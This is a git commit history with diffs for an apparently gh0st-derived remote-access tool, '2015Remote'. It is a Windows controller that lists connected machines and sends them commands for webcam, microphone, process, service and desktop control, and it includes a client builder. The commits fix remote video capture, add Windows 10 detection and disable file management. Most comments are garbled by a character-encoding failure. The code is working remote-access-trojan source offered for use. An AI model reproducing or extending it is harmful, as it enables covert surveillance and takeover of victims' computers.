3 Commits

Author SHA1 Message Date
yuanyuanxiang
74c4266eb7 发布V1.0.0.4 2019-02-04 17:49:59 +08:00
yuanyuanxiang
fd62f33e60 非代码修改
清理垃圾注释、整理不良排版,对代码略有改动。
2019-02-04 14:49:11 +08:00
yuanyuanxiang
1e7cbcbf5c 解决打开远程视频卡住的问题 2019-01-26 14:50:59 +08:00
13 changed files with 103 additions and 104 deletions

View File

@@ -152,4 +152,14 @@
2019.1.26 2019.1.26
发布V1.0.0.3。 1、发布V1.0.0.3。
2、修复Release模式打不开远程视频或打开视频时画面卡住的问题问题出在CCaptureVideo GetDIB。
2019.2.4
清理垃圾注释、整理不良排版,对代码略有改动。
遗留问题:文件管理功能无效、主控端随机崩溃。因此有必要将文件管理的功能屏蔽。
发布V1.0.0.4。

View File

@@ -28,7 +28,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObj
} }
BYTE bToken = TOKEN_AUDIO_START; BYTE bToken = TOKEN_AUDIO_START;
m_ClientObject->OnServerSending((char*)&bToken, 1); m_ClientObject->OnServerSending((char*)&bToken, 1);
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
szPacket = NULL; szPacket = NULL;

View File

@@ -41,7 +41,6 @@ CCaptureVideo::~CCaptureVideo()
CoUninitialize() ; CoUninitialize() ;
} }
//!!<21>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD>
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress) HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
{ {
printf("CCaptureVideo call Open\n"); printf("CCaptureVideo call Open\n");
@@ -256,13 +255,16 @@ void CCaptureVideo::SendEnd() //
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize) LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
{ {
BYTE *szBuffer = NULL; BYTE *szBuffer = NULL;
int n = 200; // 10sû<73>л<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>򷵻<EFBFBD>NULL
do do
{ {
if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬ if (mCB.bStact==CMD_CAN_SEND) //<2F><><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>һ<EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>״̬
{ {
szBuffer = mCB.GetNextScreen(dwSize); if (szBuffer = mCB.GetNextScreen(dwSize)) //<2F>Ƿ<EFBFBD><C7B7><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>Ƶ
break;
} }
} while (szBuffer==NULL && !m_bExit); Sleep(50);
} while (!m_bExit && --n);
return szBuffer; return szBuffer;
} }

View File

@@ -7,9 +7,9 @@
typedef struct _LOGIN_INFOR typedef struct _LOGIN_INFOR
{ {
BYTE bToken; // = 1 //<EFBFBD><EFBFBD>½<EFBFBD><EFBFBD>Ϣ BYTE bToken; // ȡ1<EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><EFBFBD>Ϣ
OSVERSIONINFOEX OsVerInfoEx; // <20><EFBFBD><E6B1BE>Ϣ OSVERSIONINFOEX OsVerInfoEx; // <20><EFBFBD><E6B1BE>Ϣ
DWORD dwCPUMHz; // CPU<50><55>Ƶ DWORD dwCPUMHz; // CPU<50><55>Ƶ
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ

View File

@@ -87,7 +87,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
// //
VS_VERSION_INFO VERSIONINFO VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,0,3 FILEVERSION 1,0,0,4
PRODUCTVERSION 1,0,0,1 PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL FILEFLAGSMASK 0x3fL
#ifdef _DEBUG #ifdef _DEBUG
@@ -105,7 +105,7 @@ BEGIN
BEGIN BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST" VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.0.3" VALUE "FileVersion", "1.0.0.4"
VALUE "InternalName", "ServerDl.dll" VALUE "InternalName", "ServerDl.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2025" VALUE "LegalCopyright", "Copyright (C) 2019-2025"
VALUE "OriginalFilename", "ServerDl.dll" VALUE "OriginalFilename", "ServerDl.dll"

Binary file not shown.

View File

@@ -26,7 +26,9 @@
#define UM_ICONNOTIFY WM_USER+100 #define UM_ICONNOTIFY WM_USER+100
// <20>ļ<EFBFBD><C4BC>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E9A3A8>Ϊ<EFBFBD><CEAA><EFBFBD>׵<EFBFBD><D7B5>³<EFBFBD><C2B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2>ԣ<EFBFBD>
std::vector<CFileManagerDlg *> v_FileDlg; std::vector<CFileManagerDlg *> v_FileDlg;
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E9A3A8>Ϊ<EFBFBD><CEAA><EFBFBD>׵<EFBFBD><D7B5>³<EFBFBD><C2B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2>ԣ<EFBFBD>
std::vector<CRegisterDlg *> v_RegDlg; std::vector<CRegisterDlg *> v_RegDlg;
enum enum
@@ -43,38 +45,37 @@ enum
typedef struct typedef struct
{ {
char* szTitle; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> const char* szTitle; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int nWidth; //<2F>б<EFBFBD><D0B1>Ŀ<EFBFBD><C4BF><EFBFBD> int nWidth; //<2F>б<EFBFBD><D0B1>Ŀ<EFBFBD><C4BF><EFBFBD>
}COLUMNSTRUCT; }COLUMNSTRUCT;
const int g_Column_Count_Online = 7; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COLUMNSTRUCT g_Column_Data_Online[] = COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] =
{ {
{"IP", 148 }, {"IP", 148 },
{"<EFBFBD>˿<EFBFBD>", 150 }, {"<EFBFBD>˿<EFBFBD>", 150 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע", 160 }, {"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע", 160 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ", 128 }, {"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ", 128 },
{"CPU", 80 }, {"CPU", 80 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ", 81 }, {"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ", 81 },
{"PING", 151 } {"PING", 151 },
}; };
// <20><><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3>򡰹<EFBFBD><F2A1B0B9>ڡ<EFBFBD><DAA1>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD> CAboutDlg <20>Ի<EFBFBD><D4BB><EFBFBD> // <20><><EFBFBD><EFBFBD>Ӧ<EFBFBD>ó<EFBFBD><C3B3>򡰹<EFBFBD><F2A1B0B9>ڡ<EFBFBD><DAA1>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD> CAboutDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
int g_Column_Count_Online = 7;
COLUMNSTRUCT g_Column_Data_Message[] = const int g_Column_Count_Message = 3; // <20>б<EFBFBD><D0B1>ĸ<EFBFBD><C4B8><EFBFBD>
COLUMNSTRUCT g_Column_Data_Message[g_Column_Count_Message] =
{ {
{"<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 200 }, {"<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 200 },
{"ʱ<EFBFBD><EFBFBD>", 200 }, {"ʱ<EFBFBD><EFBFBD>", 200 },
{"<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 490 } {"<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 490 }
}; };
int g_Column_Count_Message = 3; //<2F>б<EFBFBD><D0B1>ĸ<EFBFBD><C4B8><EFBFBD> int g_Column_Online_Width = 0;
int g_Column_Message_Width = 0;
IOCPServer *m_iocpServer = NULL;
int g_Column_Online_Width = 0;
int g_Column_Message_Width = 0;
IOCPServer *m_iocpServer = NULL;
CMy2015RemoteDlg* g_2015RemoteDlg = NULL; CMy2015RemoteDlg* g_2015RemoteDlg = NULL;
static UINT Indicators[] = static UINT Indicators[] =
@@ -114,8 +115,7 @@ END_MESSAGE_MAP()
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD> // CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent /*=NULL*/) CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
: CDialogEx(CMy2015RemoteDlg::IDD, pParent)
{ {
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
@@ -189,17 +189,9 @@ void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
case WM_LBUTTONDOWN: case WM_LBUTTONDOWN:
case WM_LBUTTONDBLCLK: case WM_LBUTTONDBLCLK:
{ {
if (!IsWindowVisible()) ShowWindow(IsWindowVisible() ? SW_HIDE : SW_SHOW);
{
ShowWindow(SW_SHOW);
}
else
{
ShowWindow(SW_HIDE);
}
break; break;
} }
case WM_RBUTTONDOWN: case WM_RBUTTONDOWN:
{ {
CMenu Menu; CMenu Menu;
@@ -218,8 +210,7 @@ void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
VOID CMy2015RemoteDlg::CreateSolidMenu() VOID CMy2015RemoteDlg::CreateSolidMenu()
{ {
HMENU hMenu; //SDK C MFC C++ HMENU hMenu = LoadMenu(NULL,MAKEINTRESOURCE(IDR_MENU_MAIN)); //<2F><><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD>Դ
hMenu = LoadMenu(NULL,MAKEINTRESOURCE(IDR_MENU_MAIN)); //<2F><><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD>Դ
::SetMenu(this->GetSafeHwnd(),hMenu); //Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2> ::SetMenu(this->GetSafeHwnd(),hMenu); //Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2>
::DrawMenuBar(this->GetSafeHwnd()); //<2F><>ʾ<EFBFBD>˵<EFBFBD> ::DrawMenuBar(this->GetSafeHwnd()); //<2F><>ʾ<EFBFBD>˵<EFBFBD>
} }
@@ -241,7 +232,7 @@ VOID CMy2015RemoteDlg::CreatStatusBar()
VOID CMy2015RemoteDlg::CreateNotifyBar() VOID CMy2015RemoteDlg::CreateNotifyBar()
{ {
#if SHOW_NOTIFY #if INDEPENDENT
m_Nid.cbSize = sizeof(NOTIFYICONDATA); //<2F><>С<EFBFBD><D0A1>ֵ m_Nid.cbSize = sizeof(NOTIFYICONDATA); //<2F><>С<EFBFBD><D0A1>ֵ
m_Nid.hWnd = m_hWnd; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>DZ<EFBFBD><C7B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڸ<EFBFBD><DAB8><EFBFBD>CWnd<6E><64><EFBFBD><EFBFBD> m_Nid.hWnd = m_hWnd; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>DZ<EFBFBD><C7B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڸ<EFBFBD><DAB8><EFBFBD>CWnd<6E><64><EFBFBD><EFBFBD>
m_Nid.uID = IDR_MAINFRAME; //icon ID m_Nid.uID = IDR_MAINFRAME; //icon ID
@@ -317,8 +308,6 @@ VOID CMy2015RemoteDlg::InitControl()
} }
m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT); m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT);
SetTimer(0,3000,NULL); // <20><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5>ļ<EFBFBD><C4BC>Ի<EFBFBD><D4BB><EFBFBD>
} }
@@ -352,17 +341,10 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg) VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg)
{ {
CString strIsOK,strTime; CTime Timer = CTime::GetCurrentTime();
CTime Timer =CTime::GetCurrentTime(); //<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>CTime <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD> t ʹ<><CAB9><EFBFBD><EFBFBD><EFBFBD>еij<D0B5>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD>GetCurrentTime() <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SDK<44><4B><EFBFBD><EFBFBD> CString strTime= Timer.Format("%H:%M:%S");
strTime= Timer.Format("%H:%M:%S"); CString strIsOK= bOk ? "ִ<EFBFBD>гɹ<EFBFBD>" : "ִ<EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>";
if (bOk)
{
strIsOK="ִ<EFBFBD>гɹ<EFBFBD>";
}
else
{
strIsOK="ִ<EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>";
}
m_CList_Message.InsertItem(0,strIsOK); //<2F><><EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> m_CList_Message.InsertItem(0,strIsOK); //<2F><><EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_CList_Message.SetItemText(0,1,strTime); m_CList_Message.SetItemText(0,1,strTime);
m_CList_Message.SetItemText(0,2,strMsg); m_CList_Message.SetItemText(0,2,strMsg);
@@ -419,7 +401,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
ListenPort(); ListenPort();
#if !SHOW_NOTIFY #if !INDEPENDENT
ShowWindow(SW_SHOW); ShowWindow(SW_SHOW);
#endif #endif
@@ -433,7 +415,7 @@ void CMy2015RemoteDlg::OnSysCommand(UINT nID, LPARAM lParam)
CAboutDlg dlgAbout; CAboutDlg dlgAbout;
dlgAbout.DoModal(); dlgAbout.DoModal();
} }
#if !SHOW_NOTIFY #if !INDEPENDENT
else if(nID == SC_CLOSE || nID == SC_MINIMIZE) else if(nID == SC_CLOSE || nID == SC_MINIMIZE)
{ {
ShowWindow(SW_HIDE); ShowWindow(SW_HIDE);
@@ -548,30 +530,12 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent) void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
{ {
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
switch(nIDEvent)
{
case 0:
{
break;
}
case 1:
{
break;
}
}
} }
void CMy2015RemoteDlg::OnClose() void CMy2015RemoteDlg::OnClose()
{ {
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ #if INDEPENDENT
KillTimer(0);
#if SHOW_NOTIFY
Shell_NotifyIcon(NIM_DELETE, &m_Nid); Shell_NotifyIcon(NIM_DELETE, &m_Nid);
#endif #endif
@@ -665,15 +629,13 @@ void CMy2015RemoteDlg::OnOnlineDelete()
BYTE bToken = COMMAND_BYE; //<2F>򱻿ض˷<D8B6><CBB7><EFBFBD>һ<EFBFBD><D2BB>COMMAND_SYSTEM BYTE bToken = COMMAND_BYE; //<2F>򱻿ض˷<D8B6><CBB7><EFBFBD>һ<EFBFBD><D2BB>COMMAND_SYSTEM
SendSelectedCommand(&bToken, sizeof(BYTE)); //Context PreSending PostSending SendSelectedCommand(&bToken, sizeof(BYTE)); //Context PreSending PostSending
CString strIP;
int iCount = m_CList_Online.GetSelectedCount(); int iCount = m_CList_Online.GetSelectedCount();
int i = 0;
for (i=0;i<iCount;++i) for (int i=0;i<iCount;++i)
{ {
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
int iItem = m_CList_Online.GetNextSelectedItem(Pos); int iItem = m_CList_Online.GetNextSelectedItem(Pos);
strIP = m_CList_Online.GetItemText(iItem,ONLINELIST_IP); CString strIP = m_CList_Online.GetItemText(iItem,ONLINELIST_IP);
m_CList_Online.DeleteItem(iItem); m_CList_Online.DeleteItem(iItem);
strIP+="<EFBFBD>Ͽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"; strIP+="<EFBFBD>Ͽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
ShowMessage(true,strIP); ShowMessage(true,strIP);
@@ -693,8 +655,6 @@ VOID CMy2015RemoteDlg::OnOnlineProcessManager()
SendSelectedCommand(&bToken, sizeof(BYTE)); SendSelectedCommand(&bToken, sizeof(BYTE));
} }
VOID CMy2015RemoteDlg::OnOnlineWindowManager() VOID CMy2015RemoteDlg::OnOnlineWindowManager()
{ {
BYTE bToken = COMMAND_WSLIST; BYTE bToken = COMMAND_WSLIST;
@@ -710,26 +670,30 @@ VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
VOID CMy2015RemoteDlg::OnOnlineFileManager() VOID CMy2015RemoteDlg::OnOnlineFileManager()
{ {
BYTE bToken = COMMAND_LIST_DRIVE; //<2F><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> #if INDEPENDENT
BYTE bToken = COMMAND_LIST_DRIVE;
SendSelectedCommand(&bToken, sizeof(BYTE)); SendSelectedCommand(&bToken, sizeof(BYTE));
#else
if(m_CList_Online.GetFirstSelectedItemPosition())
ShowMessage(FALSE, "<EFBFBD>˹<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͣʹ<EFBFBD><EFBFBD>");
#endif
} }
VOID CMy2015RemoteDlg::OnOnlineAudioManager() VOID CMy2015RemoteDlg::OnOnlineAudioManager()
{ {
BYTE bToken = COMMAND_AUDIO; //<2F>򱻿ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> BYTE bToken = COMMAND_AUDIO;
SendSelectedCommand(&bToken, sizeof(BYTE)); SendSelectedCommand(&bToken, sizeof(BYTE));
} }
VOID CMy2015RemoteDlg::OnOnlineVideoManager() VOID CMy2015RemoteDlg::OnOnlineVideoManager()
{ {
BYTE bToken = COMMAND_WEBCAM; //<2F>򱻿ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> BYTE bToken = COMMAND_WEBCAM;
SendSelectedCommand(&bToken, sizeof(BYTE)); SendSelectedCommand(&bToken, sizeof(BYTE));
} }
VOID CMy2015RemoteDlg::OnOnlineServerManager() VOID CMy2015RemoteDlg::OnOnlineServerManager()
{ {
BYTE bToken = COMMAND_SERVICES; //<2F><>ֵһ<D6B5><D2BB><EFBFBD><EFBFBD> Ȼ<><C8BB><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>COMMAND_SYSTEM BYTE bToken = COMMAND_SERVICES;
SendSelectedCommand(&bToken, sizeof(BYTE)); SendSelectedCommand(&bToken, sizeof(BYTE));
} }
@@ -743,20 +707,24 @@ void CMy2015RemoteDlg::OnOnlineBuildClient()
{ {
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CBuildDlg Dlg; CBuildDlg Dlg;
Dlg.m_strIP = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "localIp", "");
CString Port;
Port.Format("%d", ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost"));
Dlg.m_strPort = Port;
Dlg.DoModal(); Dlg.DoModal();
} }
VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength) VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
{ {
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); //1[pcontext client] 2 3 //1 2 POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
while(Pos) while(Pos)
{ {
int iItem = m_CList_Online.GetNextSelectedItem(Pos); int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); //<2F><><EFBFBD>б<EFBFBD><D0B1><EFBFBD>Ŀ<EFBFBD><C4BF>ȡ<EFBFBD><C8A1>ClientContext<78><EFBFBD><E1B9B9> CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
// <20><><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD>ݰ<EFBFBD> //<2F>鿴ClientContext<78><EFBFBD><E1B9B9> // <20><><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD>ݰ<EFBFBD>
m_iocpServer->OnClientPreSending(ContextObject,szBuffer, ulLength); //Cleint Context m_iocpServer->OnClientPreSending(ContextObject,szBuffer, ulLength);
} }
} }
@@ -769,15 +737,12 @@ VOID CMy2015RemoteDlg::OnAbout()
//<2F><><EFBFBD><EFBFBD>Menu //<2F><><EFBFBD><EFBFBD>Menu
void CMy2015RemoteDlg::OnNotifyShow() void CMy2015RemoteDlg::OnNotifyShow()
{ {
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ShowWindow(SW_SHOW); ShowWindow(SW_SHOW);
} }
void CMy2015RemoteDlg::OnNotifyExit() void CMy2015RemoteDlg::OnNotifyExit()
{ {
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
SendMessage(WM_CLOSE); SendMessage(WM_CLOSE);
} }
@@ -799,9 +764,9 @@ void CMy2015RemoteDlg::OnMainExit()
VOID CMy2015RemoteDlg::ListenPort() VOID CMy2015RemoteDlg::ListenPort()
{ {
int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost"); int nPort = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost");
//<2F><>ȡini <20>ļ<EFBFBD><C4BC>еļ<D0B5><C4BC><EFBFBD><EFBFBD>˿<EFBFBD> //<2F><>ȡini <20>ļ<EFBFBD><C4BC>еļ<D0B5><C4BC><EFBFBD><EFBFBD>˿<EFBFBD>
int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection"); int nMaxConnection = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection");
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (nPort<=0 || nPort>65535) if (nPort<=0 || nPort>65535)
nPort = 6543; nPort = 6543;
@@ -1008,7 +973,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
switch (LoginInfor->OsVerInfoEx.dwPlatformId) switch (LoginInfor->OsVerInfoEx.dwPlatformId)
{ {
case VER_PLATFORM_WIN32_NT: case VER_PLATFORM_WIN32_NT:
if (LoginInfor->OsVerInfoEx.dwMajorVersion <= 4 ) if ( LoginInfor->OsVerInfoEx.dwMajorVersion <= 4 )
strOS = "WindowsNT"; strOS = "WindowsNT";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 ) if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 )
strOS = "Windows2000"; strOS = "Windows2000";
@@ -1022,6 +987,12 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
strOS = "Windows7"; strOS = "Windows7";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 2 ) if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 2 )
strOS = "Windows8"; strOS = "Windows8";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 3 )
strOS = "Windows8.1";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 4 )
strOS = "Windows10";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 10 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 )
strOS = "Windows10";
} }
//CPU //CPU

View File

@@ -9,16 +9,16 @@
////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////
